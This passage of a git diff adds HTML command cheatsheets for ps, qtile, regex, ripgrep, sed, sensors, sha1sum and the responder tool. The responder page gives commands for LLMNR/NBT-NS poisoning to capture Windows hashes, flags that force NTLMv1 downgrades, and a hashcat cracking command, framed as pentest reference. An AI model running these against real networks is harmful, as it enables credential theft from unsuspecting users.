  • +
+
    +
  • ps -o pid,etime,cmd - Elapsed time
  • +
+
    +
  • ps -o pid,ppid,cmd - Parent process
  • +
+
+

Common Examples

+

All Processes

+
ps aux
+

List all processes with details.

+

User Processes

+
ps -u username
+

Processes for specific user.

+

Specific Process

+
ps -p 1234
+

Information about PID.

+

Command Search

+
ps -C firefox
+

Find process by command.

+

Tree Format

+
ps --forest
+

Show process tree.

+

Custom Format

+
ps -o pid,%mem,%cpu,cmd
+

Custom columns.

+

Sort by Memory

+
ps aux --sort=-%mem | head
+

Top memory consumers.

+

Sort by CPU

+
ps aux --sort=-%cpu | head
+

Top CPU consumers.

+

Full Command

+
ps -f -p 1234
+

Full command line.

+

Elapsed Time

+
ps -o pid,etime,cmd
+

Show how long process has run.

+
+

Common Fields

+
    +
  • PID - Process ID
  • +
+
    +
  • PPID - Parent Process ID
  • +
+
    +
  • USER - Process owner
  • +
+
    +
  • %CPU - CPU usage
  • +
+
    +
  • %MEM - Memory usage
  • +
+
    +
  • VSZ - Virtual memory size
  • +
+
    +
  • RSS - Resident set size
  • +
+
    +
  • TTY - Terminal
  • +
+
    +
  • STAT - Process state
  • +
+
    +
  • START - Start time
  • +
+
    +
  • TIME - CPU time
  • +
+
    +
  • COMMAND - Command line
  • +
+
+

Tips

+
    +
  • Use ps aux for comprehensive view
  • +
+
    +
  • Use --sort to find resource hogs
  • +
+
    +
  • Use --forest to see process trees
  • +
+
    +
  • Combine with grep to filter
  • +
+
    +
  • Use -o for custom output
  • +
+
    +
  • Essential for system monitoring
  • +
+
    +
  • Check STAT column for process state
  • +
+
    +
  • Use with kill for process management
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/qtile.html b/cheatsheets/qtile.html new file mode 100644 index 0000000..c6c2ccf --- /dev/null +++ b/cheatsheets/qtile.html @@ -0,0 +1,274 @@ + + + + + + + + + + + qtile Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

qtile Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

qtile is a full-featured, hackable tiling window manager written in Python.

+
+

Application Launch

+
    +
  • Mod+Return - Launch terminal
  • +
+
    +
  • Mod+P - Application launcher (rofi/dmenu)
  • +
+
    +
  • Mod+Shift+P - Application launcher (alternative)
  • +
+
+

Window Management

+
    +
  • Mod+W - Close focused window
  • +
+
    +
  • Mod+Shift+C - Close window (alternative)
  • +
+
    +
  • Mod+F - Toggle fullscreen
  • +
+
    +
  • Mod+Shift+F - Toggle floating
  • +
+
    +
  • Mod+M - Minimize window
  • +
+
    +
  • Mod+Shift+M - Restore minimized window
  • +
+
+

Window Navigation

+
    +
  • Mod+J or Mod+↓ - Focus down
  • +
+
    +
  • Mod+K or Mod+↑ - Focus up
  • +
+
    +
  • Mod+H or Mod+← - Focus left
  • +
+
    +
  • Mod+L or Mod+→ - Focus right
  • +
+
    +
  • Mod+Space - Switch focus between panes (stack layout)
  • +
+
    +
  • Mod+Tab - Switch to next window
  • +
+
    +
  • Mod+Shift+Tab - Switch to previous window
  • +
+
+

Window Movement

+
    +
  • Mod+Shift+J or Mod+Shift+↓ - Move window down
  • +
+
    +
  • Mod+Shift+K or Mod+Shift+↑ - Move window up
  • +
+
    +
  • Mod+Shift+H or Mod+Shift+← - Move window left
  • +
+
    +
  • Mod+Shift+L or Mod+Shift+→ - Move window right
  • +
+
    +
  • Mod+Shift+Space - Swap window with master
  • +
+
+

Window Resizing

+
    +
  • Mod+Ctrl+H or Mod+Ctrl+← - Grow window left
  • +
+
    +
  • Mod+Ctrl+L or Mod+Ctrl+→ - Grow window right
  • +
+
    +
  • Mod+Ctrl+J or Mod+Ctrl+↓ - Grow window down
  • +
+
    +
  • Mod+Ctrl+K or Mod+Ctrl+↑ - Grow window up
  • +
+
    +
  • Mod+Shift+Equal - Reset window sizes
  • +
+
+

Layouts

+
    +
  • Mod+Tab - Switch to next layout
  • +
+
    +
  • Mod+Shift+Tab - Switch to previous layout
  • +
+
    +
  • Mod+Space - Switch focus (stack layout)
  • +
+
    +
  • Mod+Shift+Space - Swap window with master
  • +
+
+

Groups (Workspaces)

+
    +
  • Mod+1-9 - Switch to group
  • +
+
    +
  • Mod+Shift+1-9 - Move window to group
  • +
+
    +
  • Mod+G - Switch to next group
  • +
+
    +
  • Mod+Shift+G - Switch to previous group
  • +
+
+

System

+
    +
  • Mod+Ctrl+R - Reload qtile config
  • +
+
    +
  • Mod+Ctrl+Q - Restart qtile
  • +
+
    +
  • Mod+Shift+Q - Shutdown qtile
  • +
+
    +
  • Mod+Shift+R - Restart qtile (alternative)
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/qtile/config.py (user config)
  • +
+
    +
  • Default config in libqtile/resources/default_config.py
  • +
+

Example Key Bindings

+

Customize in config.py:

+
from libqtile.config import Key
+from libqtile.lazy import lazy
+
+mod = "mod4"  # Super/Windows key
+
+keys = [
+    # Application launch
+    Key([mod], "Return", lazy.spawn("kitty"), desc="Launch terminal"),
+    Key([mod], "p", lazy.spawn("rofi -show drun"), desc="Application launcher"),
+    
+    # Window navigation
+    Key([mod], "j", lazy.layout.down(), desc="Move focus down"),
+    Key([mod], "k", lazy.layout.up(), desc="Move focus up"),
+    Key([mod], "h", lazy.layout.left(), desc="Move focus left"),
+    Key([mod], "l", lazy.layout.right(), desc="Move focus right"),
+    
+    # Window movement
+    Key([mod, "shift"], "j", lazy.layout.shuffle_down(), desc="Move window down"),
+    Key([mod, "shift"], "k", lazy.layout.shuffle_up(), desc="Move window up"),
+    Key([mod, "shift"], "h", lazy.layout.shuffle_left(), desc="Move window left"),
+    Key([mod, "shift"], "l", lazy.layout.shuffle_right(), desc="Move window right"),
+    
+    # Window management
+    Key([mod], "w", lazy.window.kill(), desc="Close window"),
+    Key([mod], "f", lazy.window.toggle_fullscreen(), desc="Toggle fullscreen"),
+    Key([mod, "shift"], "f", lazy.window.toggle_floating(), desc="Toggle floating"),
+    
+    # Layouts
+    Key([mod], "Tab", lazy.next_layout(), desc="Switch layouts"),
+    Key([mod], "space", lazy.layout.next(), desc="Switch focus"),
+    
+    # Groups
+    Key([mod], "1", lazy.group["1"].toscreen(), desc="Switch to group 1"),
+    Key([mod, "shift"], "1", lazy.window.togroup("1"), desc="Move window to group 1"),
+    
+    # System
+    Key([mod, "control"], "r", lazy.reload_config(), desc="Reload config"),
+    Key([mod, "control"], "q", lazy.restart(), desc="Restart qtile"),
+    Key([mod, "shift"], "q", lazy.shutdown(), desc="Shutdown qtile"),
+]
+

Change Modifier Key

+
mod = "mod4"  # Super/Windows key
+# or
+mod = "mod1"  # Alt key
+
+

Tips

+
    +
  • Config is Python - full programming language available
  • +
+
    +
  • Use KeyChord for binding sequences/modes
  • +
+
    +
  • Supports groups (workspaces) and moving windows between them
  • +
+
    +
  • Layouts, widgets, and screen settings all in Python config
  • +
+
    +
  • Default layout switching and focus commands use hjkl
  • +
+
    +
  • Use lazy.call() for custom functions
  • +
+
    +
  • Supports multiple screens/monitors
  • +
+
    +
  • Widgets configurable via Python
  • +
+
    +
  • Use EzKey helper for simpler key definitions
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/regex.html b/cheatsheets/regex.html new file mode 100644 index 0000000..646a07c --- /dev/null +++ b/cheatsheets/regex.html @@ -0,0 +1,252 @@ + + + + + + + + + + + regex Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

regex Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Regular expressions (regex) are patterns used to match character combinations in strings. This cheatsheet covers common regex syntax with working examples.

+
+

Basic Patterns

+
    +
  • `.` - Match any single character (except newline)
  • +
+

Example: `h.t` matches "hat", "hot", "hit"

+
    +
  • `[abc]` - Match any character in brackets
  • +
+

Example: `[aeiou]` matches any vowel

+
    +
  • `[^abc]` - Match any character NOT in brackets
  • +
+

Example: `[^aeiou]` matches any consonant

+
    +
  • `[a-z]` - Match any character in range
  • +
+

Example: `[0-9]` matches any digit

+
+

Quantifiers

+
    +
  • `*` - Zero or more of preceding element
  • +
+

Example: `ab*c` matches "ac", "abc", "abbc", "abbbc"

+
    +
  • `+` - One or more of preceding element
  • +
+

Example: `ab+c` matches "abc", "abbc" but not "ac"

+
    +
  • `?` - Zero or one of preceding element (optional)
  • +
+

Example: `colou?r` matches both "color" and "colour"

+
    +
  • `{n}` - Exactly n occurrences
  • +
+

Example: `\d{3}` matches exactly 3 digits

+
    +
  • `{n,}` - n or more occurrences
  • +
+

Example: `\d{3,}` matches 3 or more digits

+
    +
  • `{n,m}` - Between n and m occurrences
  • +
+

Example: `\d{2,4}` matches 2 to 4 digits

+
+

Anchors

+
    +
  • `^` - Start of string (or start of line in multiline mode)
  • +
+

Example: `^Hello` matches "Hello" only at the start

+
    +
  • `$` - End of string (or end of line in multiline mode)
  • +
+

Example: `world$` matches "world" only at the end

+
    +
  • `\b` - Word boundary
  • +
+

Example: `\bcat\b` matches "cat" but not "category"

+
    +
  • `\B` - Non-word boundary
  • +
+

Example: `\Bcat\B` matches "category" but not "cat"

+
+

Character Classes

+
    +
  • `\d` - Any digit (equivalent to `[0-9]`)
  • +
+

Example: `\d{4}` matches "2024", "1234"

+
    +
  • `\D` - Any non-digit (equivalent to `[^0-9]`)
  • +
+

Example: `\D+` matches "abc", "xyz"

+
    +
  • `\w` - Any word character (letters, digits, underscore)
  • +
+

Example: `\w+` matches "hello", "test123", "my_var"

+
    +
  • `\W` - Any non-word character
  • +
+

Example: `\W+` matches "!!!", " ", "---"

+
    +
  • `\s` - Any whitespace character (space, tab, newline)
  • +
+

Example: `\s+` matches spaces, tabs

+
    +
  • `\S` - Any non-whitespace character
  • +
+

Example: `\S+` matches "hello", "123"

+
+

Groups and Capturing

+
    +
  • `(abc)` - Capture group
  • +
+

Example: `(hello)` captures "hello" for backreference

+
    +
  • `(?:abc)` - Non-capturing group
  • +
+

Example: `(?:hello|hi)` matches but doesn't capture

+
    +
  • `|` - Alternation (OR)
  • +
+

Example: `cat|dog` matches "cat" or "dog"

+
    +
  • `\1, \2, ...` - Backreferences to captured groups
  • +
+

Example: `(\w)\1` matches "aa", "bb", "11"

+
+

Special Characters (Escaping)

+
    +
  • `\.` - Literal period
  • +
+

Example: `\.com` matches ".com"

+
    +
  • `\+` - Literal plus sign
  • +
+

Example: `\+1` matches "+1"

+
    +
  • `\*` - Literal asterisk
  • +
+

Example: `\*note` matches "*note"

+
    +
  • `\?` - Literal question mark
  • +
+

Example: `really\?` matches "really?"

+
    +
  • `\(` `\)` - Literal parentheses
  • +
+

Example: `\(test\)` matches "(test)"

+
+

Common Patterns

+

Email Address (Simple)

+
[\w.-]+@[\w.-]+\.\w+
+

Matches: `user@example.com`, `test.email@domain.co.uk`

+

Phone Number (US Format)

+
\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}
+

Matches: `(555)123-4567`, `555-123-4567`, `555.123.4567`

+

URL

+
https?://[\w.-]+(?:\.[\w.-]+)*(?:/[\w./?=&#-]*)?
+

Matches: `https://example.com`, `http://site.com/path?q=1`

+

IP Address

+
\b(?:\d{1,3}\.){3}\d{1,3}\b
+

Matches: `192.168.1.1`, `10.0.0.1`

+

Date (MM/DD/YYYY)

+
\d{2}/\d{2}/\d{4}
+

Matches: `12/25/2024`, `01/01/2025`

+
+

Flags/Modifiers (Common)

+
    +
  • `i` - Case-insensitive matching
  • +
+

Example: `/hello/i` matches "Hello", "HELLO", "hello"

+
    +
  • `g` - Global matching (find all, not just first)
  • +
+

Example: `/cat/g` finds all occurrences of "cat"

+
    +
  • `m` - Multiline mode (^ and $ match line boundaries)
  • +
+

Example: `/^line/m` matches "line" at start of any line

+
    +
  • `s` - Dotall mode (. matches newline)
  • +
+

Example: `/hello.world/s` matches "hello\nworld"

+
+

Tips

+
    +
  • Test regex patterns with online tools like regex101.com or regexr.com
  • +
+
    +
  • Escape special characters with backslash when you want literal matches
  • +
+
    +
  • Use non-greedy quantifiers (`*?`, `+?`) for minimal matches
  • +
+
    +
  • Group related patterns with parentheses for better organization
  • +
+
    +
  • Use anchors (`^`, `$`) to ensure full string matching
  • +
+
    +
  • Different tools/languages may have slightly different regex syntax
  • +
+
    +
  • Common uses: validation, search/replace, parsing, extraction
  • +
+
    +
  • Start simple and build complexity incrementally
  • +
+
    +
  • Document complex regex patterns with comments if your tool supports it
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/responder.html b/cheatsheets/responder.html new file mode 100644 index 0000000..0ceb46a --- /dev/null +++ b/cheatsheets/responder.html @@ -0,0 +1,209 @@ + + + + + + + + + + + responder Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

responder Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Responder is a LLMNR, NBT-NS, and MDNS poisoner. Answers name resolution requests to capture authentication hashes. Essential for network penetration testing and credential harvesting in Windows environments.

+
+

Basic Usage

+
    +
  • responder -I eth0 - Start on interface
  • +
+
    +
  • responder -I eth0 -rdw - Enable all protocols
  • +
+
    +
  • responder -I eth0 -A - Analyze mode (no poisoning)
  • +
+
    +
  • responder -I eth0 -v - Verbose mode
  • +
+
+

Protocol Options

+
    +
  • -r - Enable Responder for LLMNR
  • +
+
    +
  • -d - Enable Responder for NBT-NS
  • +
+
    +
  • -w - Enable Responder for MDNS
  • +
+
    +
  • -f - Fingerprint hosts
  • +
+
    +
  • -P - Force NTLMv1
  • +
+
    +
  • -D - Force NTLM downgrade
  • +
+
+

Service Options

+
    +
  • -S - Enable HTTP server
  • +
+
    +
  • -U - Enable UPnP server
  • +
+
    +
  • -F - Force wpad auth
  • +
+
    +
  • -a - Enable SMB server
  • +
+
    +
  • -6 - Enable IPv6
  • +
+
+

Output Options

+
    +
  • -v - Verbose output
  • +
+
    +
  • -A - Analyze mode (no poisoning)
  • +
+
    +
  • -i file - Respond to IPs from file
  • +
+
    +
  • -e IP - External IP for wpad
  • +
+
    +
  • -b - Basic authentication
  • +
+
    +
  • -l file - Log file
  • +
+
+

Common Examples

+

Basic Poisoning

+
responder -I eth0
+

Start on interface with defaults.

+

All Protocols

+
responder -I eth0 -rdw
+

Enable LLMNR, NBT-NS, and MDNS.

+

Analyze Mode

+
responder -I eth0 -A
+

Monitor without poisoning.

+

Force NTLMv1

+
responder -I eth0 -P
+

Force weaker NTLMv1 hashes.

+

With HTTP Server

+
responder -I eth0 -S
+

Enable HTTP authentication server.

+

Verbose

+
responder -I eth0 -v
+

Detailed output.

+

Specific IPs

+
responder -I eth0 -i targets.txt
+

Only respond to listed IPs.

+

Full Options

+
responder -I eth0 -rdw -S -v
+

Enable all features with verbose.

+
+

Captured Hashes

+
    +
  • /usr/share/responder/logs/ - Log directory
  • +
+
    +
  • HTTP-NTLMv2-*.txt - HTTP hashes
  • +
+
    +
  • SMB-NTLMv2-*.txt - SMB hashes
  • +
+
    +
  • FTP-NTLMv2-*.txt - FTP hashes
  • +
+
    +
  • LDAP-NTLMv2-*.txt - LDAP hashes
  • +
+
+

Hash Format

+
    +
  • username::domain:hash:hash - NTLMv2 format
  • +
+
    +
  • Can be cracked with hashcat or john
  • +
+
    +
  • hashcat -m 5600 hash.txt wordlist.txt - Crack NTLMv2
  • +
+
+

Tips

+
    +
  • Use on internal networks for best results
  • +
+
    +
  • Enable all protocols (-rdw) for maximum coverage
  • +
+
    +
  • Use -A mode first to analyze traffic
  • +
+
    +
  • Check logs directory for captured hashes
  • +
+
    +
  • Use -P to force NTLMv1 (easier to crack)
  • +
+
    +
  • Combine with hashcat for password cracking
  • +
+
    +
  • Essential for network penetration testing
  • +
+
    +
  • Works best in Windows AD environments
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/ripgrep.html b/cheatsheets/ripgrep.html new file mode 100644 index 0000000..9982df4 --- /dev/null +++ b/cheatsheets/ripgrep.html @@ -0,0 +1,238 @@ + + + + + + + + + + + ripgrep Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

ripgrep Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

ripgrep (rg) is a fast text search tool that recursively searches directories for a regex pattern. Faster than grep, respects .gitignore by default, and has excellent Unicode support.

+
+

Basic Usage

+
    +
  • rg pattern - Search in current directory
  • +
+
    +
  • rg pattern path/ - Search in directory
  • +
+
    +
  • rg -i pattern - Case-insensitive search
  • +
+
    +
  • rg -w pattern - Whole word match
  • +
+
    +
  • rg -l pattern - List matching files only
  • +
+
    +
  • rg -c pattern - Count matches per file
  • +
+
+

Search Options

+
    +
  • -i - Case-insensitive
  • +
+
    +
  • -w - Whole word
  • +
+
    +
  • -v - Invert match
  • +
+
    +
  • -x - Match entire line
  • +
+
    +
  • -F - Fixed string (no regex)
  • +
+
    +
  • -e pattern - Pattern to search
  • +
+
    +
  • -f file - Patterns from file
  • +
+
    +
  • -g pattern - Glob pattern
  • +
+
+

Output Options

+
    +
  • -l - List files only
  • +
+
    +
  • -L - List files without matches
  • +
+
    +
  • -c - Count matches per file
  • +
+
    +
  • --count-matches - Count matches (not lines)
  • +
+
    +
  • -n - Show line numbers
  • +
+
    +
  • -N - No line numbers
  • +
+
    +
  • -C N - Context lines (before and after)
  • +
+
    +
  • -A N - Lines after match
  • +
+
    +
  • -B N - Lines before match
  • +
+
    +
  • -H - Show filename (default)
  • +
+
    +
  • -h - No filename
  • +
+
    +
  • --color always - Always colorize
  • +
+
    +
  • --color never - Never colorize
  • +
+
    +
  • --color auto - Colorize when outputting to terminal
  • +
+
+

File Options

+
    +
  • -t type - Search only file type
  • +
+
    +
  • -T type - Exclude file type
  • +
+
    +
  • -g pattern - Include glob pattern
  • +
+
    +
  • -g !pattern - Exclude glob pattern
  • +
+
    +
  • --type-list - List all file types
  • +
+
    +
  • --no-ignore - Don't respect ignore files
  • +
+
    +
  • --ignore-case - Case-insensitive matching
  • +
+
    +
  • -u - Unrestricted search (like --no-ignore)
  • +
+
    +
  • -uu - Also search hidden files
  • +
+
    +
  • -uuu - Also search binary files
  • +
+
+

Common Examples

+

Basic Search

+
rg "function"
+

Search for "function" in current directory.

+

Case-Insensitive

+
rg -i "error"
+

Search case-insensitively.

+

List Files

+
rg -l "TODO"
+

List files containing "TODO".

+

With Context

+
rg -C 3 "pattern"
+

Show 3 lines before and after.

+

Specific File Type

+
rg -t py "import"
+

Search only Python files.

+

Exclude Type

+
rg -T js "function"
+

Search excluding JavaScript files.

+

Whole Word

+
rg -w "test"
+

Match whole word only.

+

Fixed String

+
rg -F "*.txt"
+

Search literal string (no regex).

+

Count Matches

+
rg -c "error"
+

Count matches per file.

+

Unrestricted

+
rg -u "pattern"
+

Ignore .gitignore and other ignore files.

+
+

Tips

+
    +
  • Much faster than grep for large codebases
  • +
+
    +
  • Respects .gitignore by default
  • +
+
    +
  • Use -i for case-insensitive search
  • +
+
    +
  • Use -l to just list files
  • +
+
    +
  • Use -t to filter by file type
  • +
+
    +
  • Use -C for context around matches
  • +
+
    +
  • Excellent Unicode support
  • +
+
    +
  • Great for code searching
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/sed.html b/cheatsheets/sed.html new file mode 100644 index 0000000..9243632 --- /dev/null +++ b/cheatsheets/sed.html @@ -0,0 +1,224 @@ + + + + + + + + + + + sed Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

sed Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

sed (stream editor) is a powerful text processing tool for filtering and transforming text. Edit files non-interactively, perform find-and-replace operations, and manipulate text streams efficiently.

+
+

Basic Usage

+
    +
  • sed 's/old/new/' file - Substitute first occurrence per line
  • +
+
    +
  • sed 's/old/new/g' file - Substitute all occurrences
  • +
+
    +
  • sed 's/old/new/2' file - Substitute 2nd occurrence
  • +
+
    +
  • sed -i 's/old/new/g' file - Edit file in-place
  • +
+
    +
  • sed -i.bak 's/old/new/g' file - In-place with backup
  • +
+
+

Substitution

+
    +
  • sed 's/pattern/replacement/' - Basic substitution
  • +
+
    +
  • sed 's/pattern/replacement/g' - Global substitution
  • +
+
    +
  • sed 's/pattern/replacement/i' - Case-insensitive
  • +
+
    +
  • sed 's/pattern/replacement/gi' - Global, case-insensitive
  • +
+
    +
  • sed 's|old|new|g' - Use different delimiter
  • +
+
    +
  • sed 's/old/new/; s/old2/new2/' - Multiple substitutions
  • +
+
+

Line Selection

+
    +
  • sed -n '5p' file - Print line 5
  • +
+
    +
  • sed -n '5,10p' file - Print lines 5-10
  • +
+
    +
  • sed -n '5,$p' file - Print from line 5 to end
  • +
+
    +
  • sed -n '/pattern/p' file - Print matching lines
  • +
+
    +
  • sed -n '/start/,/end/p' file - Print range between patterns
  • +
+
    +
  • sed '5d' file - Delete line 5
  • +
+
    +
  • sed '/pattern/d' file - Delete matching lines
  • +
+
+

Insertion & Appending

+
    +
  • sed '5i\new line' file - Insert before line 5
  • +
+
    +
  • sed '5a\new line' file - Append after line 5
  • +
+
    +
  • sed '/pattern/i\new line' file - Insert before match
  • +
+
    +
  • sed '/pattern/a\new line' file - Append after match
  • +
+
    +
  • sed '$a\new line' file - Append to end
  • +
+
+

Advanced Patterns

+
    +
  • sed 's/^old/new/' - Match start of line
  • +
+
    +
  • sed 's/old$/new/' - Match end of line
  • +
+
    +
  • sed 's/old.*/new/' - Match rest of line
  • +
+
    +
  • sed 's/\(.*\)old\(.*\)/\1new\2/' - Capture groups
  • +
+
    +
  • sed 's/old/new/; t; s/old2/new2/' - Conditional
  • +
+
    +
  • sed -n 's/old/new/p' - Print only modified lines
  • +
+
+

Multiple Commands

+
    +
  • sed -e 's/old/new/' -e 's/old2/new2/' file - Multiple expressions
  • +
+
    +
  • sed 's/old/new/; s/old2/new2/' file - Semicolon separator
  • +
+
    +
  • sed -f script.sed file - Read from script file
  • +
+
+

Common Examples

+

Replace Text

+
sed 's/old/new/g' file.txt
+

Replace all occurrences.

+

In-Place Edit

+
sed -i 's/old/new/g' file.txt
+

Edit file directly.

+

Delete Lines

+
sed '/pattern/d' file.txt
+

Remove matching lines.

+

Print Range

+
sed -n '10,20p' file.txt
+

Print lines 10-20.

+

Add Line

+
sed '5a\new content' file.txt
+

Insert after line 5.

+

Remove Empty Lines

+
sed '/^$/d' file.txt
+

Delete blank lines.

+

Remove Leading Spaces

+
sed 's/^[ \t]*//' file.txt
+

Strip whitespace from start.

+

Remove Trailing Spaces

+
sed 's/[ \t]*$//' file.txt
+

Strip whitespace from end.

+

Number Lines

+
sed = file.txt | sed 'N;s/\n/\t/'
+

Add line numbers.

+

Extract Field

+
sed 's/.*:\(.*\):.*/\1/' file.txt
+

Extract between colons.

+
+

Tips

+
    +
  • Use -i for in-place editing (be careful!)
  • +
+
    +
  • Use -i.bak to create backup
  • +
+
    +
  • Use -n with p to print only selected lines
  • +
+
    +
  • Use g flag for global substitution
  • +
+
    +
  • Use different delimiters (|, #) for complex patterns
  • +
+
    +
  • Combine with other tools in pipelines
  • +
+
    +
  • Test without -i first to verify changes
  • +
+
    +
  • Essential for batch text processing
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/sensors.html b/cheatsheets/sensors.html new file mode 100644 index 0000000..9511bb1 --- /dev/null +++ b/cheatsheets/sensors.html @@ -0,0 +1,172 @@ + + + + + + + + + + + sensors Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

sensors Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

sensors is a command-line tool from lm-sensors package for monitoring hardware sensors. Displays temperature, voltage, fan speed, and other hardware sensor data.

+
+

Basic Usage

+
    +
  • sensors - Display all sensor readings
  • +
+
    +
  • sensors -u - Show raw sensor data
  • +
+
    +
  • sensors -A - Show adapter information
  • +
+
    +
  • sensors -j - Output in JSON format
  • +
+
    +
  • sensors -f - Output in Fahrenheit
  • +
+
    +
  • sensors -c <config> - Use specific config file
  • +
+
+

Sensor Detection

+
    +
  • sensors-detect - Detect and configure sensors
  • +
+
    +
  • sensors-detect --auto - Auto-detect without prompts
  • +
+
    +
  • sensors-detect --batch - Batch mode (no prompts)
  • +
+
+

Configuration

+
    +
  • sensors -s - Set sensor limits from config
  • +
+
    +
  • sensors -c <file> - Use custom config file
  • +
+
    +
  • sensors --set-adapter <adapter> - Set adapter
  • +
+
+

Output Options

+
    +
  • sensors -u - Raw/unformatted output
  • +
+
    +
  • sensors -A - Show adapter names
  • +
+
    +
  • sensors -j - JSON output
  • +
+
    +
  • sensors -f - Fahrenheit instead of Celsius
  • +
+
    +
  • sensors -h - Show help
  • +
+
+

Common Examples

+

Basic Reading

+
sensors
+

Display all sensor readings.

+

Raw Data

+
sensors -u
+

Show raw sensor data with chip names.

+

JSON Output

+
sensors -j
+

Output in JSON format for scripting.

+

Fahrenheit

+
sensors -f
+

Display temperatures in Fahrenheit.

+

Detect Sensors

+
sudo sensors-detect
+

Detect and configure hardware sensors.

+

Auto Detect

+
sudo sensors-detect --auto
+

Auto-detect sensors without prompts.

+

Real-time Monitoring

+
watch -n 1 sensors
+

Monitor temperatures in real-time, updating every second.

+
+

Tips

+
    +
  • Run sensors-detect first to detect hardware sensors
  • +
+
    +
  • Use -j for JSON output when scripting
  • +
+
    +
  • Use -u to see raw chip data and sensor names
  • +
+
    +
  • Use -f if you prefer Fahrenheit temperatures
  • +
+
    +
  • Combine with watch for real-time monitoring: watch -n 1 sensors
  • +
+
    +
  • Use sensors -s to apply limits from configuration
  • +
+
    +
  • Check /etc/sensors3.conf for configuration options
  • +
+
    +
  • Essential for monitoring CPU and system temperatures
  • +
+
    +
  • Use watch sensors to monitor temperatures in real-time (updates every 2 seconds by default)
  • +
+
    +
  • For custom update interval: watch -n 0.5 sensors (updates every 0.5 seconds)
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/sha1sum.html b/cheatsheets/sha1sum.html new file mode 100644 index 0000000..b5d5ded --- /dev/null +++ b/cheatsheets/sha1sum.html @@ -0,0 +1,85 @@ + + + + + + + + + + + sha1sum Cheatsheet - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + ← Back to Cheatsheets + +

sha1sum Cheatsheet

+
+
+
+
+

+ Quick reference for sha1sum, a tool to compute and verify SHA-1 checksums. + SHA-1 is considered weak for modern security; use it mostly for legacy compatibility, not new designs. +

+ +

Basic usage

+
    +
  • sha1sum file.img – print SHA-1 hash and filename.
  • +
  • sha1sum file1 file2 – hash multiple files.
  • +
  • echo -n "test" | sha1sum – hash data from stdin.
  • +
+ +

Common options

+
    +
  • -b – read files in binary mode (default on Linux).
  • +
  • -t – read files in text mode (mainly for non-Unix systems).
  • +
  • -c – check SHA-1 sums from a file.
  • +
  • --tag – create BSD-style output (SHA1 (file) = hash).
  • +
+ +

Creating and verifying checksum files

+
    +
  • sha1sum file.img > file.img.sha1 – save checksum.
  • +
  • sha1sum file1 file2 > checksums.sha1 – create checksum list.
  • +
  • sha1sum -c file.img.sha1 – verify a single file.
  • +
  • sha1sum -c checksums.sha1 – verify multiple files.
  • +
+ +

Tips

+
    +
  • Prefer sha256sum or sha512sum for security-sensitive uses.
